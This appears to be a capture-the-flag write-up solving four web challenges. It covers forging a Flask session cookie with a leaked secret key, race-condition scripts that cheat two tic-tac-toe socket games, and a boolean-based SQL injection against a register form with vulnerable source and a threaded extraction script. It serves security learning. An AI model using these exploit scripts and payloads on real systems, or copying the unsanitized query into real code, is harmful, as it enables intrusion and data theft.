# USCTF WRITEUP ALL WEB ## Tommy's Artventures [400] In this challenge, we are given an attachment containing a secret key, which we will use to modify the username in the JWT to become an admin. ### Exploit Here is the JWT from the web session: ```bash └─$ flask-unsign --decode --cookie 'eyJ1c2VyIjoiYnlmMXNoIn0.ZyeHSQ.4IK_Fl_7Sei-reTlE8sFYWpXSto' {'user': 'byf1sh'} ``` After decoding the JWT, we get `'user' : '<user>'`. Our task here is to change the user to "admin". We can use `flask-unsign` to sign it because we have the secret key, which makes this task easier. ```bash └─$ /home/byf1sh/.local/bin/flask-unsign --sign --cookie "{'user': 'admin'}" --secret '4a6282bf78c344a089a2dc5d2ca93ae6' eyJ1c2VyIjoiYWRtaW4ifQ.ZyeH9Q.t7TFID-rUA0vLv-Yky39ECboTtY ``` Then, copy the JWT above to the inspect element and visit the `/curate` endpoint to get the flag. ``` CYBORG{oce4n5_auth3N71ca7i0N} ``` ## tictactocket [400] In this challenge, we are presented with a tic-tac-toe game, and we are required to win to get the flag. Since the computer plays very well, we can exploit an overwrite section in the game because there is no request handling to prevent repeated requests in certain sections. Below is the solver code. ### Solver Code ```python import socketio import threading import time # Initialize socket.io client sio = socketio.Client() # Game ID will be stored here after starting a new game game_id = None # Function to handle connection @sio.event def connect(): print("Connected to server") # Send event to start a new game sio.emit('client_new_game') # Function to handle new game start from the server @sio.on('server_new_game') def on_new_game(data): global game_id print(f'Data from server_new_game: {data}') game_id = data['game_id'] print(f"New game started with ID: {game_id}") print("Waiting for your turn to start...") # Function to place a move on a specific square def place_square(square): if game_id is not None: sio.emit('client_place_square', {'game_id': game_id, 'square': square}) print(f"Selecting square {square}") # Function to update the game board after each move @sio.on('server_board_update') def on_board_update(data): # Display board status board = ["X" if x == 0 else "O" if x == 1 else " " for x in data['board']] for i in range(0, 9, 3): print(f"{board[i]} | {board[i+1]} | {board[i+2]}") # Check turn or game result if data['winner'] == 0: print(f"Flag: {data['flag']}") print("You won! You might have obtained the flag.") elif data['winner'] == 1: print("You lost...") elif data['winner'] == 3: print("It's a draw.") elif data['turn'] == 0: # Player's turn print("Your turn") perform_user_moves() # Request user input if it's the player's turn # Function to request user moves def perform_user_moves(): try: # First move square = int(input("Choose the first square (0-8): ")) if square == 2: print("Starting race condition...") attempt_race_condition() # Using race condition if user inputs 2 return place_square(square) time.sleep(1) # Short delay to allow server to process the first move # Second move square = int(input("Choose the second square (0-8): ")) if square == 2: print("Starting race condition...") attempt_race_condition() # Using race condition if user inputs 2 return place_square(square) time.sleep(1) # Short delay before the third move # Third move square = int(input("Choose the third square or enter '2' to start race condition: ")) if square == 2: print("Starting race condition on the third move...") attempt_race_condition() # Using race condition on the third move else: place_square(square) except ValueError: print("Invalid input, please enter a number between 0-8.") # Function to perform race condition on the third move def attempt_race_condition(): # Select the target square to manipulate for race condition target_square = 2 # Send multiple threads to the same square to trigger race condition threads = [] for i in range(20): # Increase thread count to improve race condition probability t = threading.Thread(target=place_square, args=(target_square,)) threads.append(t) t.start() # Wait for all threads to finish for t in threads: t.join() # Function to handle disconnection @sio.event def disconnect(): print("Disconnected from server") # Connect to the server sio.connect('https://usc-tictactocket.chals.io', wait_timeout=10) # Remain active until the game is finished sio.wait() ``` To run the code, input like the following: 0, 1, 2, and you should get the flag. ``` CYBORG{S3RVER_W45_0VERTRUST1NG} ``` ## Spooky Query Leaks [450] In this challenge, we found an SQL injection vulnerability in the register form because of a lack of sanitization on the input parameters, allowing us to perform a Boolean-based SQLi attack. This can be exploited to read the contents of the `flag` table and obtain the flag. ### Source Code ```python from flask import Flask, render_template, request, redirect, session, g from werkzeug.security import generate_password_hash, check_password_hash import sqlite3 app = Flask(__name__) app.secret_key = 'REDACTED' DATABASE = 'challenge.db' def get_db(): db = getattr(g, '_database', None) if db is None: db = g._database = sqlite3.connect(DATABASE) db.row_factory = sqlite3.Row return db @app.teardown_appcontext def close_connection(exception): db = getattr(g, '_database', None) if db is not None: db.close() @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] cursor = get_db().cursor() try: cursor.execute(f"INSERT INTO users (username, password) VALUES ('{username}', '{generate_password_hash(password)}')") get_db().commit() return redirect('/login') except sqlite3.IntegrityError: return "Username already taken." return render_template('register.html') @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] cursor = get_db().cursor() cursor.execute("SELECT * FROM users WHERE username = ?", (username,)) user = cursor.fetchone() if user and check_password_hash(user['password'], password): session['username'] = user['username'] return redirect('/dashboard') else: return "Invalid credentials." return render_template('login.html') @app.route('/dashboard') def dashboard(): if 'username' not in session: return redirect('/login') username = session['username'] cursor = get_db().cursor() if username == 'admin': cursor.execute("SELECT flag FROM flags") flag = cursor.fetchone()['flag'] return render_template('dashboard.html', username=username, flag=flag) return render_template('dashboard.html', username=username, flag=None) if __name__ == '__main__': app.run(debug=False) ``` As seen in the code, the register input is inserted directly without sanitization, which allows us to use Boolean-based SQLi to read the `flag` table. Below is the payload: ```sql bian' || (SELECT 'tr' WHERE SUBSTR((SELECT flag FROM flags),1,1)='FUZZ') || 'tue ``` The above code reads the first element of the `flag` column in the `flags` table. If the first element is FUZZ, the registration will succeed; otherwise, it will fail. Here is the solver code. ```python import requests import concurrent.futures # URL endpoint url = 'https://usc-spookyql.chals.io/1596345a-537d-4b96-af71-de75ded8fad0/' # Function to register a username def regis(data): response = requests.post(url + 'register', data) return response.text fuzz = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789 0{}_!@#$%^&*()-' flag = '' # Function to test one character at a specific position def try_character(i, a): data = { "username": f"my' || (SELECT 'tr' WHERE SUBSTR((SELECT flag FROM flags),{i},1)='{a}') || 'ue{i}", "password": "abc" } out = regis(data) return (i, a, out) # Main function to brute-force each position of the flag for i in range(1, 50): with concurrent.futures.ThreadPoolExecutor() as executor: # Create threads to test each character in 'fuzz' futures = {executor.submit(try_character, i, a): a for a in fuzz} for future in concurrent.futures.as_completed(futures): a = futures[future] try: pos, char, output = future.result() print(i) # If the response shows that the character is correct, add it to the flag if 'Username already taken' not in output: flag += char print(output) print(f"Flag so far: {flag}") break # Stop searching if the correct character is found except Exception as e: print(f"Error with character {a} at position {i}: {e}") print(f"Final flag: {flag}") ``` ``` CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!} ``` ## tictacBINGO [500] In this challenge, we encounter what seems to be a tic-tac-toe game. However, no matter what we do, we cannot win or lose, even if the bot successfully completes a line. After some exploration, it turns out that we need to fill all sections with `X` to win. We can exploit a *Race Condition* to fill all sections with the flag and get the flag. ### Solver Code ```python import socketio import time sio = socketio.Client() SERVER_URL = "https://usc-tictacbingo.chals.io" # Replace with the actual server URL game_id = None # Replace with the actual game_id @sio.event def connect(): print("Connected to server") # Send event to start a new game sio.emit('client_new_game') @sio.on('server_new_game') def on_new_game(data): global game_id print(f'Data from server_new_game: {data}') game_id = data['game_id'] print(f"New game started with ID: {game_id}") print("Waiting for your turn to start...") send_forced_win() def send_forced_win(): winning_squares = [6, 7, 8, 0, 1, 2, 3, 5, 4] for square in winning_squares: sio.emit('client_place_square', { 'game_id': game_id, 'square': square }) print(f"Sent move for square {square}") time.sleep(0) # Short delay to avoid sending too quickly print("Forced winning moves sent to the server.") @sio.on('server_board_update') def on_board_update(data): # Display board status board = ["X" if x == 0 else "O" if x == 1 else " " for x in data['board']] for i in range(0, 9, 3): print(f"{board[i]} | {board[i+1]} | {board[i+2]}") if data['winner'] == 0: print(f"Flag: {data['flag']}") print("You won! You might have obtained the flag.") elif data['winner'] == 1: print("You lost...") elif data['winner'] == 3: print("It's a draw.") elif data['turn'] == 0: # Player's turn print("Your turn") @sio.event def disconnect(): print("Disconnected from server") @sio.event def connect_error(): print("Connection failed!") sio.connect(SERVER_URL, wait_timeout=10) sio.wait() ``` ``` CYBORG{th15_is_w3bs0cke7s_no7_osu!} ```